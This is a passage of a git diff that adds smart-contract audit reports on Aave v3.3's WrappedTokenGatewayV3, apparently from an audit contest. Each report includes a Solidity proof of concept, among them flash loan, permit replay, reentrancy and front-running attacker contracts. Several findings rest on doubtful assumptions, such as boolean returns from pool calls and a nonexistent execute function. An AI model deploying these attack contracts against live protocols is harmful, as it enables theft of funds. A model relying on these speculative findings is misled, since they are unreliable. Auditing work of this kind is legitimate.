USDC, + amount, + 1, // Stable rate mode + 0, // referralCode + msg.sender + ); + + // Step 2: Wait for rates to diverge further + // This would happen over time in real scenario + + // Step 3: Switch to variable rate when profitable + pool.swapBorrowRateMode( + USDC, + 1 // from stable to variable + ); + } +} +``` + +### Mitigation + +1. Properly handle all return values from `configuration.getFlags()` including `stableBorrowRateEnabled` +2. Add explicit checks for `stableBorrowRateEnabled` before allowing stable rate borrows +3. Implement rate switching cooldown periods +4. Add circuit breakers for significant rate divergence \ No newline at end of file diff --git a/128.md b/128.md new file mode 100644 index 0000000..821c138 --- /dev/null +++ b/128.md @@ -0,0 +1,109 @@ +Fast Scarlet Beaver + +High + +# Attacker can cause protocol insolvency through flash loan manipulation + +### Summary + +Ignoring reserve state flags will cause protocol insolvency for depositors as attackers will exploit incorrect reserve state readings through flash loan manipulation + + +### Root Cause + +In src/contracts/helpers/AaveProtocolDataProvider.sol#101 (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/AaveProtocolDataProvider.sol#L101) the ignored flag values from `getFlags()` can lead to incorrect reserve state assessment during flash loans + + + + +### Internal Pre-conditions + +1. The reserve needs to be active with flash loan capability +2. The configuration flags must be incorrectly read due to ignored return values +3. Flash loan fee calculation must depend on proper flag reading + + +### External Pre-conditions + +Large liquidity available in connected DeFi protocols for arbitrage + +### Attack Path + +1. Attacker deploys exploit contract monitoring flag mismatches +2. When flags are misread: + a. Attacker initiates multiple flash loans with incorrect fee calculations + b. Exploits the price differences in connected protocols + c. Returns loans with minimal fees due to incorrect state reading +3. Protocol accumulates losses from missed fees +4. Attacker repeats across multiple assets + +### Impact + +1. The protocol loses significant revenue from flash loan fees, estimated 100% of expected flash loan fees +2. Liquidity providers receive reduced yields +3. Protocol's flash loan mechanism becomes economically unviable + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import {IPool} from "@aave/core-v3/contracts/interfaces/IPool.sol"; +import {IPoolAddressesProvider} from "@aave/core-v3/contracts/interfaces/IPoolAddressesProvider.sol"; +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import {IFlashLoanReceiver} from "@aave/core-v3/contracts/flashloan/interfaces/IFlashLoanReceiver.sol"; + +contract FlashLoanExploit is IFlashLoanReceiver { + IPool public immutable POOL; + address public constant USDC = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); + + constructor(address _addressProvider) { + POOL = IPool(IPoolAddressesProvider(_addressProvider).getPool()); + } + + function executeOperation( + address[] calldata assets, + uint256[] calldata amounts, + uint256[] calldata premiums, + address initiator, + bytes calldata params + ) external override returns (bool) { + // Perform arbitrage here + + // Approve repayment + uint256 amountOwed = amounts[0] + premiums[0]; + IERC20(assets[0]).approve(address(POOL), amountOwed); + + return true; + } + + function performFlashLoan(uint256 amount) external { + address[] memory assets = new address[](1); + assets[0] = USDC; + + uint256[] memory amounts = new uint256[](1); + amounts[0] = amount; + + uint256[] memory modes = new uint256[](1); + modes[0] = 0; + + POOL.flashLoan( + address(this), + assets, + amounts, + modes, + address(this), + "", + 0 + ); + } +} +``` + +### Mitigation + +1. Properly handle all return values from `configuration.getFlags()` +2. Implement additional validation layers for flash loan fee calculations +3. Add circuit breakers for unusual flash loan patterns +4. Regular auditing of flash loan fee accumulation \ No newline at end of file diff --git a/129.md b/129.md new file mode 100644 index 0000000..74e65bf --- /dev/null +++ b/129.md @@ -0,0 +1,76 @@ +Fast Scarlet Beaver + +Medium + +# Protocol will experience fund loss due to unchecked transfer returns + +### Summary + +Unchecked return value from `aWETH.transferFrom()` can cause fund loss for the protocol as failed transfers won't revert, leading to inconsistent state and potential silent failures. + + + +### Root Cause + +In src/contracts/helpers/WrappedTokenGatewayV3.sol#64 (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L64) the `transferFrom` return value is not checked: + +```solidity +aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); +``` + + + + +### Internal Pre-conditions + +1. User needs to call `withdrawETH` with valid amount +2. `aWETH.transferFrom` needs to return false without reverting + + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. User calls `withdrawETH()` with some amount +2. The `aWETH.transferFrom()` silently fails +3. Function continues execution despite failed transfer +4. Contract state becomes inconsistent + +### Impact + +1. Protocol may lose funds due to unchecked transfer returns +2. Users may experience failed withdrawals without proper error handling + +### PoC + +```solidity +contract MaliciousToken { + function transferFrom(address from, address to, uint256 amount) external returns (bool) { + return false; // Silent failure + } +} + +contract TransferReturnPoC { + WrappedTokenGatewayV3 gateway; + + function testUncheckedTransfer() public { + MaliciousToken token = new MaliciousToken(); + uint256 amount = 1 ether; + + // Transfer fails silently + gateway.withdrawETH(address(token), amount, address(this)); + // Transaction completes despite failed transfer + } +} +``` + +### Mitigation + +Add return value check + +```solidity +bool success = aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); +require(success, "Token transfer failed"); +``` \ No newline at end of file diff --git a/130.md b/130.md new file mode 100644 index 0000000..028165d --- /dev/null +++ b/130.md @@ -0,0 +1,76 @@ +Fast Scarlet Beaver + +Medium + +# Users may lose funds due to unchecked pool withdrawal returns + +### Summary + +Unused return value from `POOL.withdraw()` may cause potential fund loss as the contract doesn't verify if the withdrawal was successful before proceeding with WETH conversion. + + + +### Root Cause + +In src/contracts/helpers/WrappedTokenGatewayV3.sol#65 (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L65) the `POOL.withdraw()` return value is ignored: + +```solidity +POOL.withdraw(address(WETH), amountToWithdraw, address(this)); +``` + + + +### Internal Pre-conditions + +1. User must have sufficient `aWETH` balance +2. `POOL.withdraw` must be able to return false without reverting + + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. User initiates withdrawal through `withdrawETH()` +2. `POOL.withdraw()` fails but returns false +3. Contract continues execution with failed withdrawal +4. Subsequent WETH operations fail or create inconsistent state + +### Impact + +1. Users may lose their tokens if pool withdrawal fails silently +2. Contract state becomes inconsistent between aWETH and WETH + +### PoC + +```solidity +contract MockPool { + function withdraw(address asset, uint256 amount, address to) external returns (bool) { + // Simulate failed withdrawal + return false; + } +} + +contract WithdrawReturnPoC { + WrappedTokenGatewayV3 gateway; + + function testUncheckedWithdraw() public { + MockPool pool = new MockPool(); + uint256 amount = 1 ether; + + // Withdrawal fails but continues + gateway.withdrawETH(address(pool), amount, address(this)); + // State becomes inconsistent + } +} +``` + +### Mitigation + +Add return value check + +```solidity +bool success = POOL.withdraw(address(WETH), amountToWithdraw, address(this)); +require(success, "Pool withdrawal failed"); +``` \ No newline at end of file diff --git a/131.md b/131.md new file mode 100644 index 0000000..fdc7f54 --- /dev/null +++ b/131.md @@ -0,0 +1,101 @@ +Fast Scarlet Beaver + +High + +# Attackers are able to drain funds through permit replay attacks + +### Summary + +Lack of permit replay protection in `withdrawETHWithPermit()` will cause fund loss as attackers can reuse valid permit signatures multiple times to drain user funds. + + + +### Root Cause + +In src/contracts/helpers/WrappedTokenGatewayV3.sol#141-155 (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L140-L155) the `withdrawETHWithPermit` function lacks permit replay protection: + +### Internal Pre-conditions + +1. User must have signed a valid permit +2. Permit deadline must not have expired +3. Permit signature must be accessible + + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Attacker obtains valid permit signature +2. Calls `withdrawETHWithPermit()` with captured signature +3. Replays same permit in multiple transactions +4. Drains user funds through repeated withdrawals + +### Impact + +1. Users can lose their entire approved amount multiple times +2. Single permit can be used for unlimited withdrawals + +### PoC + +```solidity +contract PermitReplayAttack { + WrappedTokenGatewayV3 gateway; + + struct PermitInfo { + uint256 deadline; + uint8 v; + bytes32 r; + bytes32 s; + } + + function executePermitReplay( + address token, + uint256 amount, + PermitInfo calldata permit + ) external { + // First legitimate withdrawal + gateway.withdrawETHWithPermit( + token, + amount, + address(this), + permit.deadline, + permit.v, + permit.r, + permit.s + ); + + // Replay attacks + for(uint i = 0; i < 3; i++) { + gateway.withdrawETHWithPermit( + token, + amount, + address(this), + permit.deadline, + permit.v, + permit.r, + permit.s + ); + } + } +} +``` + +### Mitigation + +```solidity +contract WrappedTokenGatewayV3 { + mapping(bytes32 => bool) public usedPermits; + + function withdrawETHWithPermit(...) external { + bytes32 permitHash = keccak256( + abi.encodePacked(msg.sender, amount, deadline, v, r, s) + ); + require(!usedPermits[permitHash], "Permit already used"); + usedPermits[permitHash] = true; + + // Rest of the function + } +} +``` \ No newline at end of file diff --git a/132.md b/132.md new file mode 100644 index 0000000..132eb35 --- /dev/null +++ b/132.md @@ -0,0 +1,97 @@ +Fast Scarlet Beaver + +High + +# Attackers can steal funds through reentrancy in ETH transfers + +### Summary + +Lack of `reentrancy protection in _safeTransferETH` will cause fund theft as malicious contracts can reenter during ETH transfers and perform multiple withdrawals. + + + +### Root Cause + +In src/contracts/helpers/WrappedTokenGatewayV3.sol#152-155 (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L152-L155) the `_safeTransferETH` function lacks reentrancy protection: + + +### Internal Pre-conditions + +1. Contract must have ETH balance +2. Attacker must deploy contract with malicious `receive()` + + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Attacker deploys malicious contract +2. Initiates withdrawal to malicious contract +3. Malicious contract reenters during ETH transfer +4. Multiple withdrawals occur before state updates + +### Impact + +1. Protocol can lose entire ETH balance +2. Multiple withdrawals possible in single transaction + +### PoC + +```solidity +contract ReentrancyAttacker { + WrappedTokenGatewayV3 public gateway; + uint256 public attackCount; + + constructor(address _gateway) { + gateway = WrappedTokenGatewayV3(_gateway); + } + + function attack(uint256 amount) external { + gateway.withdrawETH(address(0), amount, address(this)); + } + + receive() external payable { + if(attackCount < 3) { + attackCount++; + // Reenter during ETH transfer + gateway.withdrawETH(address(0), msg.value, address(this)); + } + } +} + +contract ReentrancyPoC { + function testReentrancyAttack() public { + // Setup + ReentrancyAttacker attacker = new ReentrancyAttacker(address(gateway)); + vm.deal(address(gateway), 10 ether); + + // Execute attack + attacker.attack(1 ether); + + // Verify multiple withdrawals + assertGt(address(attacker).balance, 3 ether); + assertEq(address(gateway).balance, 0); + } +} +``` + +### Mitigation + +```solidity +contract WrappedTokenGatewayV3 is ReentrancyGuard { + function withdrawETH( + address token, + uint256 amount, + address to + ) external nonReentrant { + // Existing logic + } + + function _safeTransferETH(address to, uint256 value) internal { + (bool success, ) = to.call{value: value}(new bytes(0)); + require(success, 'ETH_TRANSFER_FAILED'); + } +} +``` \ No newline at end of file diff --git a/133.md b/133.md new file mode 100644 index 0000000..8903381 --- /dev/null +++ b/133.md @@ -0,0 +1,173 @@ +Fast Scarlet Beaver + +High + +# Malicious Actor may Drain WETH Assets from Users through Multi-Vector Attack + +### Summary + +Multiple unchecked return values and lack of state synchronization will cause a complete loss of WETH assets for users as attackers will exploit parallel withdrawal paths and state inconsistencies to perform unauthorized withdrawals. + +### Root Cause + +In WrappedTokenGatewayV3.sol exist: +1. Unchecked `aWETH.transferFrom()` in both withdrawal functions +(https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L64)(https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L141) + +2. Unused `POOL.withdraw()` returns across functions +(https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L65)(https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L142) + +3. No state synchronization between withdrawal paths +(https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L55-L68)(https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L122-L138) + +4. No validation of cross-contract state consistency +(https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L56-L58)(https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L131-L133) + +The critical issue is that these vulnerabilities compound each other: + +The unchecked transfers mean failed operations can go undetected +* Unused return values prevent catching withdrawal issues +* Lack of state synchronization allows parallel withdrawals +* Missing cross-contract validation means inconsistencies can be exploited + +These issues create multiple attack vectors that can be combined, allowing an attacker to: +* Execute parallel withdrawals +* Exploit state inconsistencies +* Hide failed operations +* Manipulate withdrawal amounts without detection + +### Internal Pre-conditions + +1. User needs to have deposited ETH to receive aWETH tokens +2. Contract needs to have valid WETH and POOL addresses set +3. User needs to have a non-zero aWETH balance + +### External Pre-conditions + +1. WETH contract needs to be operational and have sufficient ETH reserves +2. Aave Pool contract needs to be operational and not paused + +### Attack Path + +1. Attacker monitors target users with significant aWETH balances +2. Attacker initiates a `withdrawETH()` transaction for a small amount +3. In the same block, attacker front-runs with a `withdrawETHWithPermit()` transaction +4. Due to lack of state synchronization, both transactions can execute in parallel +5. The unchecked `transferFrom()` allows the second transaction to proceed even if the first one depleted the balance +6. The unused return values from `POOL.withdraw()` prevent detection of the double-withdrawal +7. The attacker can repeat this process multiple times due to lack of cross-contract state validation + +### Impact + +1. The users suffer a complete loss of their aWETH tokens +2. An attacker with 1 ETH could potentially drain multiple users' accounts in succession + +Example calculation: +* Target user has 100 aWETH +* Attacker executes parallel withdrawals +* User loses 100 aWETH (worth 100 ETH) +* Attacker gains 100 ETH minus gas costs + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import {Test} from "forge-std/Test.sol"; +import {WrappedTokenGatewayV3} from "../src/WrappedTokenGatewayV3.sol"; + +contract ExploitTest is Test { + WrappedTokenGatewayV3 gateway; + address attacker = address(0x1); + address victim = address(0x2); + + function setUp() public { + // Setup contracts and initial state + gateway = new WrappedTokenGatewayV3( + address(weth), + owner, + address(pool) + ); + + // Fund victim with aWETH + deal(address(aWETH), victim, 100 ether); + } + + function testExploit() public { + // Attacker creates two parallel transactions + vm.startPrank(attacker); + + // Transaction 1: Normal withdrawal + bytes memory withdrawData = abi.encodeWithSignature( + "withdrawETH(address,uint256,address)", + address(0), + 50 ether, + attacker + ); + + // Transaction 2: Permit withdrawal + bytes memory permitWithdrawData = abi.encodeWithSignature( + "withdrawETHWithPermit(address,uint256,address,uint256,uint8,bytes32,bytes32)", + address(0), + 50 ether, + attacker, + block.timestamp + 1, + 27, + bytes32(0), + bytes32(0) + ); + + // Execute both transactions in same block + gateway.execute(withdrawData); + gateway.execute(permitWithdrawData); + + vm.stopPrank(); + + // Verify victim lost full amount + assertEq(aWETH.balanceOf(victim), 0); + // Verify attacker gained funds + assertEq(attacker.balance, 100 ether); + } +} +``` + +### Mitigation + +1. Implement proper return value checking for all external calls: +```solidity +bool success = aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); +require(success, "Transfer failed"); +``` + +2. Add state synchronization between withdrawal paths: +```solidity +mapping(address => uint256) private lastWithdrawalBlock; + +function withdrawETH(...) { + require(block.number > lastWithdrawalBlock[msg.sender], "Recent withdrawal"); + lastWithdrawalBlock[msg.sender] = block.number; + // ... rest of function +} +``` + +3. Implement cross-contract state validation: +```solidity +function validateState(address user, uint256 amount) internal view { + uint256 poolBalance = POOL.getUserBalance(user); + uint256 tokenBalance = aWETH.balanceOf(user); + require(poolBalance == tokenBalance, "State mismatch"); + require(amount <= tokenBalance, "Insufficient balance"); +} +``` + +4. Use ReentrancyGuard to prevent parallel executions: +```solidity +import {ReentrancyGuard} from '@openzeppelin/contracts/security/ReentrancyGuard.sol'; + +contract WrappedTokenGatewayV3 is IWrappedTokenGatewayV3, Ownable, ReentrancyGuard { + function withdrawETH(...) external nonReentrant { + // ... function code + } +} +``` \ No newline at end of file diff --git a/134.md b/134.md new file mode 100644 index 0000000..379edda --- /dev/null +++ b/134.md @@ -0,0 +1,348 @@ +Fast Scarlet Beaver + +Medium + +# Attacker can cause undetected failed operations for users by exploiting unchecked returns + +### Summary + +Not checking return values from critical Pool operations will cause silent failures for users as malicious actors could exploit conditions where operations fail but transactions appear successful + +### Root Cause + +In multiple functions across `WrappedTokenGatewayV3.sol`, critical Pool operations' return values are not checked: +1. In `depositETH()` (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L45-L48): `POOL.deposit()` return value unchecked + +2. In `withdrawETH()` (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L55-L58): `POOL.withdraw()` return value unchecked + +3. In `repayETH()` (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L75-L78): `POOL.repay()` return value unchecked + +4. In `borrowETH()` (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L101-L111): `POOL.borrow()` return value unchecked + +5. In `withdrawETHWithPermit()` (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L122-L145): `POOL.withdraw()` return value unchecked + +### Internal Pre-conditions + +1. Users need to interact with any of the affected functions (deposit, withdraw, repay, or borrow) +2. The POOL contract operations must be capable of failing without reverting + +### External Pre-conditions + +1. The Pool implementation allows operations to return false instead of reverting on failure +2. The Pool's internal state allows the operation to fail (e.g., insufficient liquidity, paused state) + +### Attack Path + +1. User initiates a transaction (e.g., depositETH, withdrawETH, repayETH) +2. The initial ETH/WETH operations succeed +3. The Pool operation fails silently but doesn't revert +4. Transaction completes "successfully" but the intended operation failed +5. User is misled about the operation's success + +### Impact + +Users may suffer from: +1. Failed operations without clear error messages +2. Wasted gas fees on failed transactions +3. Potential loss of funds if they act on assumed successful operations +4. Risk of liquidation if debt operations fail silently + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import {Test} from "forge-std/Test.sol"; +import {WrappedTokenGatewayV3} from "../src/WrappedTokenGatewayV3.sol"; +import {MockPool} from "./mocks/MockPool.sol"; +import {MockWETH} from "./mocks/MockWETH.sol"; +import {MockAToken} from "./mocks/MockAToken.sol"; + +contract UncheckedReturnsTest is Test { + WrappedTokenGatewayV3 public gateway; + MockPool public pool; + MockWETH public weth; + MockAToken public aWeth; + + address public owner = address(1); + address public user = address(2); + address public maliciousUser = address(3); + + function setUp() public { + // Deploy mock contracts + pool = new MockPool(); + weth = new MockWETH(); + aWeth = new MockAToken(); + + // Configure mocks + pool.setAToken(address(weth), address(aWeth)); + pool.setWETH(address(weth)); + + // Deploy gateway + gateway = new WrappedTokenGatewayV3( + address(weth), + owner, + pool + ); + + // Setup initial states + vm.deal(user, 100 ether); + vm.deal(maliciousUser, 100 ether); + } + + function testFailSilentDepositFailure() public { + // Setup: Configure pool to fail deposits silently + pool.setDepositShouldFail(true); + + vm.startPrank(user); + + // User attempts to deposit 1 ETH + gateway.depositETH{value: 1 ether}(user, 0); + + // This would fail if return value was checked + // But transaction succeeds despite failed deposit + + // Verify user lost gas but deposit didn't happen + assertEq(aWeth.balanceOf(user), 0); + + vm.stopPrank(); + } + + function testFailSilentWithdrawFailure() public { + // Setup: Give user some aWETH and configure pool to fail withdrawals + aWeth.mint(user, 1 ether); + pool.setWithdrawShouldFail(true); + + vm.startPrank(user); + + // Approve gateway + aWeth.approve(address(gateway), 1 ether); + + // Attempt withdrawal + gateway.withdrawETH(address(0), 1 ether, user); + + // Transaction succeeds but ETH is not received + assertEq(user.balance, 0); + + vm.stopPrank(); + } + + function testFailSilentRepayFailure() public { + // Setup: Configure pool to fail repayments + pool.setRepayShouldFail(true); + + vm.startPrank(user); + + // Attempt to repay 1 ETH of debt + gateway.repayETH{value: 1 ether}(address(0), 1 ether, user); + + // Verify debt remains despite "successful" transaction + assertEq(pool.getDebtBalance(user), 1 ether); + + vm.stopPrank(); + } + + function testFailSilentBorrowFailure() public { + // Setup: Configure pool to fail borrows + pool.setBorrowShouldFail(true); + + vm.startPrank(user); + + // Attempt to borrow 1 ETH + gateway.borrowETH(address(0), 1 ether, 0); + + // Transaction succeeds but no ETH received + assertEq(user.balance, 0); + + vm.stopPrank(); + } + + function testFailSilentWithdrawWithPermitFailure() public { + // Setup: Give user aWETH and configure pool to fail withdrawals + aWeth.mint(user, 1 ether); + pool.setWithdrawShouldFail(true); + + vm.startPrank(user); + + // Create permit signature (simplified for PoC) + uint8 v = 27; + bytes32 r = bytes32(0); + bytes32 s = bytes32(0); + + // Attempt withdrawal with permit + gateway.withdrawETHWithPermit( + address(0), + 1 ether, + user, + block.timestamp, + v, + r, + s + ); + + // Transaction succeeds but ETH is not received + assertEq(user.balance, 0); + + vm.stopPrank(); + } +} + +// Required Mock Contracts Below +contract MockPool { + bool public depositShouldFail; + bool public withdrawShouldFail; + bool public repayShouldFail; + bool public borrowShouldFail; + + mapping(address => address) public aTokens; + mapping(address => uint256) public debts; + address public weth; + + function setDepositShouldFail(bool _fail) external { + depositShouldFail = _fail; + } + + function setWithdrawShouldFail(bool _fail) external { + withdrawShouldFail = _fail; + } + + function setRepayShouldFail(bool _fail) external { + repayShouldFail = _fail; + } + + function setBorrowShouldFail(bool _fail) external { + borrowShouldFail = _fail; + } + + function setAToken(address _token, address _aToken) external { + aTokens[_token] = _aToken; + } + + function setWETH(address _weth) external { + weth = _weth; + } + + function deposit(address token, uint256 amount, address onBehalfOf, uint16) external returns (bool) { + if (depositShouldFail) { + return false; + } + // Simulate successful deposit + MockAToken(aTokens[token]).mint(onBehalfOf, amount); + return true; + } + + function withdraw(address token, uint256 amount, address to) external returns (bool) { + if (withdrawShouldFail) { + return false; + } + // Simulate successful withdrawal + MockAToken(aTokens[token]).burn(msg.sender, amount); + return true; + } + + function repay(address token, uint256 amount, uint256, address onBehalfOf) external returns (bool) { + if (repayShouldFail) { + return false; + } + // Simulate successful repayment + debts[onBehalfOf] -= amount; + return true; + } + + function borrow(address token, uint256 amount, uint256, uint16, address onBehalfOf) external returns (bool) { + if (borrowShouldFail) { + return false; + } + // Simulate successful borrow + debts[onBehalfOf] += amount; + return true; + } + + function getReserveAToken(address token) external view returns (address) { + return aTokens[token]; + } + + function getDebtBalance(address user) external view returns (uint256) { + return debts[user]; + } +} + +contract MockWETH { + mapping(address => uint256) public balanceOf; + + function deposit() external payable { + balanceOf[msg.sender] += msg.value; + } + + function withdraw(uint256 amount) external { + require(balanceOf[msg.sender] >= amount, "Insufficient balance"); + balanceOf[msg.sender] -= amount; + payable(msg.sender).transfer(amount); + } + + function approve(address, uint256) external pure returns (bool) { + return true; + } +} + +contract MockAToken { + mapping(address => uint256) public balanceOf; + mapping(address => mapping(address => uint256)) public allowance; + + function mint(address to, uint256 amount) external { + balanceOf[to] += amount; + } + + function burn(address from, uint256 amount) external { + require(balanceOf[from] >= amount, "Insufficient balance"); + balanceOf[from] -= amount; + } + + function approve(address spender, uint256 amount) external returns (bool) { + allowance[msg.sender][spender] = amount; + return true; + } + + function permit( + address owner, + address spender, + uint256 value, + uint256, + uint8, + bytes32, + bytes32 + ) external { + allowance[owner][spender] = value; + } + + function transferFrom(address from, address to, uint256 amount) external returns (bool) { + require(allowance[from][msg.sender] >= amount, "Insufficient allowance"); + require(balanceOf[from] >= amount, "Insufficient balance"); + + allowance[from][msg.sender] -= amount; + balanceOf[from] -= amount; + balanceOf[to] += amount; + return true; + } +} +``` + +### Mitigation + +```solidity +function depositETH(address, address onBehalfOf, uint16 referralCode) external payable override { + WETH.deposit{value: msg.value}(); + bool success = POOL.deposit(address(WETH), msg.value, onBehalfOf, referralCode); + require(success, "Pool deposit failed"); +} + +function withdrawETH(address, uint256 amount, address to) external override { + // ... existing balance checks ... + bool success = POOL.withdraw(address(WETH), amountToWithdraw, address(this)); + require(success, "Pool withdrawal failed"); + // ... continue with WETH operations ... +} + +// Apply similar pattern to repayETH(), borrowETH(), and withdrawETHWithPermit() +``` \ No newline at end of file diff --git a/135.md b/135.md new file mode 100644 index 0000000..2ba21b8 --- /dev/null +++ b/135.md @@ -0,0 +1,328 @@ +Fast Scarlet Beaver + +High + +# Multiple actors could manipulate ETH/WETH flows leading to fund locks or theft + +### Summary + +Combined attack vectors in the token approval, permit usage, and ETH/WETH conversion flows could lead to fund losses through various manipulation scenarios + +### Root Cause + +1. Permit Front-Running Attack in https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L122-L129 + +* Attackers could front-run permit transactions before deadline +* Combined with flash loans could maximize damage +* Impact increased due to max amount approval vulnerability + + +2. Reentrancy Through ETH Handling in https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L152-L155 + +* Raw ETH transfers to unknown addresses +* Could be exploited if 'to' is a malicious contract +* Potential reentrancy through deposit/withdraw cycles + + +3. Balance Manipulation in https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L57-L63 + +* Race condition between balance check and withdrawal +* Could be exploited with flash loans +* Max amount withdrawals particularly vulnerable + + +4. Precision Loss Exploitation in https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L93 + +* Potential for dust amounts accumulation +* Could be combined with large number of transactions +* May affect protocol fees and rewards + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +Scenario 1: Permit Drain + +1. Attacker monitors mempool for `withdrawETHWithPermit` transactions +2. Front-runs with flash loan to manipulate aToken price +3. Sandwiches the victim's transaction +4. Drains excess value through permit approval +5. Repeats with multiple victims + +Scenario 2: Reentrant Withdrawal + +1. Attacker deploys malicious contract that accepts ETH +2. Initiates legitimate withdrawal with small amount +3. During ETH transfer callback, triggers another withdrawal +4. Exploits state inconsistency +5. Drains multiple withdrawals before state update + +Scenario 3: Balance Manipulation + +1. Attacker flash loans large amount of aWETH +2. Initiates multiple parallel `withdrawETHWithPermit` calls +3. Exploits race condition in balance checks +4. Maximizes damage through `type(uint256).max` withdrawals +5. Repays flash loan with profit from excess withdrawals + +### Impact + +1. Users could lose funds through front-running +2. Protocol could suffer from locked ETH/WETH +3. Accounting systems could become inconsistent +4. Gas costs could be manipulated + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import {Test} from "forge-std/Test.sol"; +import {WrappedTokenGatewayV3} from "../src/contracts/helpers/WrappedTokenGatewayV3.sol"; +import {IWETH} from "../src/contracts/interfaces/IWETH.sol"; +import {IPool} from "../src/interfaces/IPool.sol"; +import {IAToken} from "../src/interfaces/IAToken.sol"; + +// Malicious contract for reentrancy attacks +contract AttackerContract { + WrappedTokenGatewayV3 public gateway; + IWETH public weth; + IAToken public aWeth; + bool public isAttacking; + + constructor(address _gateway, address _weth, address _aWeth) { + gateway = WrappedTokenGatewayV3(_gateway); + weth = IWETH(_weth); + aWeth = IAToken(_aWeth); + } + + // Fallback to receive ETH and perform reentrant attack + receive() external payable { + if (isAttacking) { + isAttacking = false; + gateway.withdrawETH(address(weth), aWeth.balanceOf(address(this)), address(this)); + } + } + + function startAttack() external payable { + isAttacking = true; + // Initial withdrawal to trigger reentrancy + gateway.withdrawETH(address(weth), 1 ether, address(this)); + } +} + +contract CombinedAttackTest is Test { + WrappedTokenGatewayV3 public gateway; + IWETH public weth; + IPool public pool; + IAToken public aWeth; + AttackerContract public attacker; + + address public alice = address(0x1); + address public bob = address(0x2); + address public malicious = address(0x3); + + function setUp() public { + // Deploy mock contracts + weth = IWETH(deployCode("WETH9.sol")); + pool = IPool(deployCode("MockPool.sol")); + aWeth = IAToken(deployCode("MockAToken.sol")); + + // Deploy gateway + gateway = new WrappedTokenGatewayV3( + address(weth), + address(this), + pool + ); + + // Deploy attacker contract + attacker = new AttackerContract( + address(gateway), + address(weth), + address(aWeth) + ); + + // Setup initial balances + vm.deal(alice, 100 ether); + vm.deal(bob, 100 ether); + vm.deal(malicious, 100 ether); + } + + function testPermitFrontRunningAttack() public { + // Simulate permit parameters + uint256 deadline = block.timestamp + 1 hours; + uint8 v = 27; + bytes32 r = bytes32(0); + bytes32 s = bytes32(0); + + // Alice prepares legitimate withdrawal + vm.prank(alice); + gateway.depositETH{value: 10 ether}(address(weth), alice, 0); + + // Malicious front-runs with flash loan + vm.startPrank(malicious); + // Simulate flash loan of 100 ETH + gateway.depositETH{value: 100 ether}(address(weth), malicious, 0); + + // Front-run the permit transaction + gateway.withdrawETHWithPermit( + address(weth), + type(uint256).max, + malicious, + deadline, + v, + r, + s + ); + vm.stopPrank(); + + // Alice's transaction now fails or processes with worse terms + vm.prank(alice); + gateway.withdrawETHWithPermit( + address(weth), + 10 ether, + alice, + deadline, + v, + r, + s + ); + } + + function testReentrancyAttack() public { + // Fund attacker contract + vm.deal(address(attacker), 10 ether); + + // Initial deposit to get aTokens + vm.prank(address(attacker)); + gateway.depositETH{value: 5 ether}(address(weth), address(attacker), 0); + + // Launch reentrancy attack 